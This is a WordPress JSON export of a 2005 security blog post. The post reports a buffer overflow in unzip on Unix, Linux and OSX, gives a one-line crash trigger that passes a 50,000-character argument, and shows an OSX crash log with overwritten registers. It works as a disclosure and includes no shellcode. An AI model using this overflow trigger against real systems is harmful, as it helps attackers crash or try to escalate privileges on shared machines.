{"id":333,"date":"2005-12-20T03:33:25","date_gmt":"2005-12-19T20:33:25","guid":{"rendered":""},"modified":"2005-12-20T03:33:25","modified_gmt":"2005-12-19T20:33:25","slug":"unzip-security-issue-all-versions","status":"publish","type":"post","link":"https:\/\/deepquest.code511.com\/blog\/2005\/12\/unzip-security-issue-all-versions\/","title":{"rendered":"unzip security issue, all versions"},"content":{"rendered":"<p>Joachim Schipper have discover interesting security issue in all verison of unzip on unix or linux. The problem is not yet  a the coredump generated, but the exploit could lead to escalation of privileges. I seems like unzip can&#8217;t handle large files. Don&#8217;t see what I mean?<!--more--><\/p>\n<p>Well imagine a shell on you favorite ISP on linux or Unix&#8230;<\/p>\n<p>test yourself:<br \/>\nunzip `perl -e &#8216;print &#8220;A&#8221; x 50000&#8217;`<\/p>\n<p>you&#8217;ll get on OSX:<br \/>\nException:  EXC_BAD_ACCESS (0x0001)<br \/>\nCodes:      KERN_PROTECTION_FAILURE (0x0002) at 0x0002d000<\/p>\n<p>Thread 0 Crashed:<br \/>\n0   libSystem.B.dylib \t0x90002e80 strcpy + 96<br \/>\n1   unzip             \t0x000145cc 0x1000 + 79308<br \/>\n2   unzip             \t0x0000e7fc 0x1000 + 55292<br \/>\n3   unzip             \t0x00003038 0x1000 + 8248<br \/>\n4   unzip             \t0x0000240c 0x1000 + 5132<br \/>\n5   unzip             \t0x000022ac 0x1000 + 4780<\/p>\n<p>Thread 0 crashed with PPC Thread State 64:<br \/>\n  srr0: 0x0000000090002e80 srr1: 0x000000000000d030                        vrsave: 0x0000000000000000<br \/>\n    cr: 0x22000022          xer: 0x0000000020000004   lr: 0x00000000000145cc  ctr: 0x0000000000000000<br \/>\n    r0: 0x0000000000000000   r1: 0x00000000bffe7440   r2: 0x000000000000000a   r3: 0x000000000002c1ac<br \/>\n    r4: 0x00000000bffe84f8   r5: 0x0000000000000000   r6: 0x00000000fefefeff   r7: 0x0000000080808080<br \/>\n    r8: 0x0000000041414141   r9: 0x000000000002cffe  r10: 0x0000000040404040  r11: 0x0000000048000028<br \/>\n   r12: 0x0000000080808080  r13: 0x0000000000000000  r14: 0x0000000000000000  r15: 0x0000000000000000<br \/>\n   r16: 0x0000000000000000  r17: 0x0000000000000000  r18: 0x0000000000000000  r19: 0x0000000000000000<br \/>\n   r20: 0x0000000000000000  r21: 0x0000000000000000  r22: 0x0000000000020000  r23: 0x0000000000000000<br \/>\n   r24: 0x0000000000010eac  r25: 0x0000000000020000  r26: 0x0000000000000000  r27: 0x00000000bffe76a2<br \/>\n   r28: 0x000000000001b300  r29: 0x0000000000000001  r30: 0x0000000000000000  r31: 0x000000000002b300<\/p>\n<p>Binary Images Description:<br \/>\n    0x1000 &#8211;    0x1afff unzip \t\/usr\/bin\/unzip<br \/>\n0x8fe00000 &#8211; 0x8fe54fff dyld 44.2\t\/usr\/lib\/dyld<br \/>\n0x90000000 &#8211; 0x901b3fff libSystem.B.dylib \t\/usr\/lib\/libSystem.B.dylib<br \/>\n0x9020b000 &#8211; 0x9020ffff libmathCommon.A.dylib \t\/usr\/lib\/system\/libmathCommon.A.dylib<\/p>\n","protected":false},"excerpt":{"rendered":"<p>unzip security issue, all versions<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"_seopress_robots_primary_cat":"","_seopress_titles_title":"","_seopress_titles_desc":"","_seopress_robots_index":"","jetpack_post_was_ever_published":false,"_jetpack_newsletter_access":"","_jetpack_dont_email_post_to_subs":false,"_jetpack_newsletter_tier_id":0,"_jetpack_memberships_contains_paywalled_content":false,"_jetpack_memberships_contains_paid_content":false,"footnotes":""},"categories":[3],"tags":[],"class_list":["post-333","post","type-post","status-publish","format-standard","hentry","category-security"],"jetpack_featured_media_url":"","jetpack_sharing_enabled":true,"jetpack_shortlink":"https:\/\/wp.me\/p4bBYZ-5n","_links":{"self":[{"href":"https:\/\/deepquest.code511.com\/blog\/wp-json\/wp\/v2\/posts\/333","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/deepquest.code511.com\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/deepquest.code511.com\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/deepquest.code511.com\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/deepquest.code511.com\/blog\/wp-json\/wp\/v2\/comments?post=333"}],"version-history":[{"count":0,"href":"https:\/\/deepquest.code511.com\/blog\/wp-json\/wp\/v2\/posts\/333\/revisions"}],"wp:attachment":[{"href":"https:\/\/deepquest.code511.com\/blog\/wp-json\/wp\/v2\/media?parent=333"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/deepquest.code511.com\/blog\/wp-json\/wp\/v2\/categories?post=333"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/deepquest.code511.com\/blog\/wp-json\/wp\/v2\/tags?post=333"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}